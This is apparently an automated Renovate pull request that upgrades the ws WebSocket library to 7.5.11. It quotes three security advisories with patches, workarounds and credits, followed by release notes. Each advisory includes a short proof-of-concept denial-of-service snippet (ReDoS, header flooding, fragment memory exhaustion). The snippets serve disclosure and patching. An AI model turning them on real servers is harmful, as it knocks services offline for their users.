Update dependency ws to v7.5.11 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
ws	7.0.0 → 7.5.11

---

ReDoS in Sec-Websocket-Protocol header

CVE-2021-32640 / GHSA-6fc8-4gx4-v693

More information

Details

Impact

A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

Proof of concept

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

Patches

The vulnerability was fixed in ws@7.4.6 (websockets/ws@00c425e) and backported to ws@6.2.2 (websockets/ws@78c676d) and ws@5.2.3 (websockets/ws@76d47c1).

Workarounds

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options.

Credits

The vulnerability was responsibly disclosed along with a fix in private by Robert McLaughlin from University of California, Santa Barbara.

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

• https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693
• https://nvd.nist.gov/vuln/detail/CVE-2021-32640
• https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff
• https://github.com/websockets/ws/issues/1895
• https://lists.apache.org/thread.html/rdfa7b6253c4d6271e31566ecd5f30b7ce1b8fb2c89d52b8c4e0f4e30@%3Ccommits.tinkerpop.apache.org%3E
• https://security.netapp.com/advisory/ntap-20210706-0005/
• https://github.com/advisories/GHSA-6fc8-4gx4-v693

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

ws affected by a DoS when handling a request with many HTTP headers

CVE-2024-37890 / GHSA-3h5v-q93c-6h6q

More information

Details

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6).

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

• GHSA-3h5v-q93c-6h6q
• https://www.cve.org/CVERecord?id=CVE-2024-37890
• https://github.com/websockets/ws/issues/2230
• https://github.com/websockets/ws/pull/2231

Severity

• CVSS Score: 8.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/websockets/ws/security/advisories/GHSA-3h5v-q93c-6h6q
• https://github.com/websockets/ws/issues/2230
• https://github.com/websockets/ws/pull/2231
• https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f
• https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e
• https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c
• https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63
• https://github.com/advisories/GHSA-3h5v-q93c-6h6q

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

ws: Memory exhaustion DoS from tiny fragments and data chunks

CVE-2026-48779 / GHSA-96hv-2xvq-fx4p

More information

Details

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (websockets/ws@bca91ad) and backported to ws@7.5.11 (websockets/ws@fd36cd8), ws@6.2.4 (websockets/ws@86d3e8a), and ws@5.2.5 (websockets/ws@b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p
• https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7
• https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53
• https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94
• https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8
• https://nvd.nist.gov/vuln/detail/CVE-2026-48779
• https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json
• https://bugzilla.redhat.com/show_bug.cgi?id=2489661
• https://access.redhat.com/security/cve/CVE-2026-48779
• https://access.redhat.com/errata/RHSA-2026:34342
• https://access.redhat.com/errata/RHSA-2026:33574
• https://access.redhat.com/errata/RHSA-2026:33183
• https://access.redhat.com/errata/RHSA-2026:33173
• https://access.redhat.com/errata/RHSA-2026:33163
• https://access.redhat.com/errata/RHSA-2026:33160
• https://access.redhat.com/errata/RHSA-2026:33155
• https://access.redhat.com/errata/RHSA-2026:29197
• https://access.redhat.com/errata/RHSA-2026:36820
• https://access.redhat.com/errata/RHSA-2026:36754
• https://access.redhat.com/errata/RHSA-2026:37272
• https://access.redhat.com/errata/RHSA-2026:27171
• https://access.redhat.com/errata/RHSA-2026:26638
• https://github.com/advisories/GHSA-96hv-2xvq-fx4p

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

websockets/ws (ws)

v7.5.11

Compare Source

Bug fixes

• Backported 2b2abd4 to the 7.x release line (e14c458).

v7.5.10

Compare Source

Bug fixes

• Backported e55e510 to the 7.x release line (22c2876).

v7.5.9

Compare Source

Bug fixes

• Backported bc8bd34 to the 7.x release line (0435e6e).

v7.5.8

Compare Source

Bug fixes

• Backported 0fdcc0a to the 7.x release line (2758ed3).
• Backported d68ba9e to the 7.x release line (dc1781b).

v7.5.7

Compare Source

Bug fixes

• Backported 6946f5f to the 7.x release line (1f72e2e).

v7.5.6

Compare Source

Bug fixes

• Backported b8186dd to the 7.x release line (73dec34).
• Backported ed2b803 to the 7.x release line (22a26af).

v7.5.5

Compare Source

Bug fixes

• Backported ec9377c to the 7.x release line (0e274ac).

v7.5.4

Compare Source

Bug fixes

• Backported 6a72da3 to the 7.x release line (76087fb).
• Backported 869c989 to the 7.x release line (2799793).

v7.5.3

Compare Source

Bug fixes

• The WebSocketServer constructor now throws an error if more than one of the
  noServer, server, and port options are specefied (66e58d2).
• Fixed a bug where a 'close' event was emitted by a WebSocketServer before
  the internal HTTP/S server was actually closed (5a58730).
• Fixed a bug that allowed WebSocket connections to be established after
  WebSocketServer.prototype.close() was called (772236a).

v7.5.2

Compare Source

Bug fixes

• The opening handshake is now aborted if the client receives a
  Sec-WebSocket-Extensions header but no extension was requested or if the
  server indicates an extension not requested by the client (aca94c8).

v7.5.1

Compare Source

Bug fixes

• Fixed an issue that prevented the connection from being closed properly if an
  error occurred simultaneously on both peers (b434b9f).

v7.5.0

Compare Source

Features

• Some errors now have a code property describing the specific type of error
  that has occurred (#​1901).

Bug fixes

• A close frame is now sent to the remote peer if an error (such as a data
  framing error) occurs (8806aa9).
• The close code is now always 1006 if no close frame is received, even if the
  connection is closed due to an error (8806aa9).

v7.4.6

Compare Source

Bug fixes

• Fixed a ReDoS vulnerability (00c425e).

A specially crafted value of the Sec-Websocket-Protocol header could be used
to significantly slow down a ws server.

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

The vulnerability was responsibly disclosed along with a fix in private by
Robert McLaughlin from University of California, Santa Barbara.

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum
allowed length of the request headers using the --max-http-header-size=size
and/or the maxHeaderSize options.

v7.4.5

Compare Source

Bug fixes

• UTF-8 validation is now done even if utf-8-validate is not installed
  (23ba6b2).
• Fixed an edge case where websocket.close() and websocket.terminate() did
  not close the connection (67e25ff).

v7.4.4

Compare Source

Bug fixes

• Fixed a bug that could cause the process to crash when using the
  permessage-deflate extension (9277437).

v7.4.3

Compare Source

Bug fixes

• The deflate/inflate stream is now reset instead of reinitialized when context
  takeover is disabled (#​1840).

v7.4.2

Compare Source

Bug fixes

• Silenced a deprecation warning (a2c0d44).

v7.4.1

Compare Source

Bug fixes

• Added a workaround for a double 'error' event bug in Node.js < 13 which
  caused an uncaught error during the WebSocket handshake (38d6ab3).

v7.4.0

Compare Source

Features

• The callback of WebSocketServer.prototype.handleUpgrade() now takes the
  client HTTP GET request as second argument (7d39f19).

Bug fixes

• Read-only properties are now read-only (eabed8f).
• The CONNECTING, OPEN, CLOSING, CLOSED, binaryType, bufferedAmount,
  extensions, onclose, onerror, onmessage, onopen, protocol,
  readyState, and url properties are now enumerable (2069e68).

v7.3.1

Compare Source

Bug fixes

• Improved websocket.bufferedAmount accuracy (e1349c0, a162942).

v7.3.0

Compare Source

Features

• WebSocket.prototype.addEventListener() now supports the once option (#​1754).

v7.2.5

Compare Source

Bug fixes

• Fixed compatibility with Node.js master (651d662).

v7.2.3

Compare Source

Bug fixes

• WebSocket#{p{i,o}ng,close}() now thow an error if the data to send is too
  large to fit in a control frame (e54f08d).

v7.2.2

Compare Source

Bug fixes

• Fixed an issue where calling webSocketStream.end() could cause the process
  to crash (9535702).
• The connection is now closed if a non-masked frame is received on the server
  or a masked frame is received on the client (#​1681).
• The status code 1014 is now allowed to be used (#​1682).

v7.2.1

Compare Source

Bug fixes

• Added bufferutil and utf-8-validate as peer dependencies (#​1626).

v7.2.0

Compare Source

Features

• Added ability to specify the readableObjectMode option when using
  WebSocket.createWebSocketStream() (#​1647).

v7.1.2

Compare Source

Bug fixes

• Fixed a bug that caused compress jobs to never be marked as complete
  (#​1618).

v7.1.1

Compare Source

Bug fixes

• An error is now thrown if the WebSocket server constructor is used
  incorrectly (3641266).

v7.1.0

Compare Source

Features

• Added utility to wrap a WebSocket in a Duplex stream (#​1589).

Bug fixes

• Reverted "[minor] Remove unneeded if statement" (dbacf58, #​1591).

v7.0.1

Compare Source

Bug fixes

• Added ability to disable sending the SNI extension (#​1587).

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.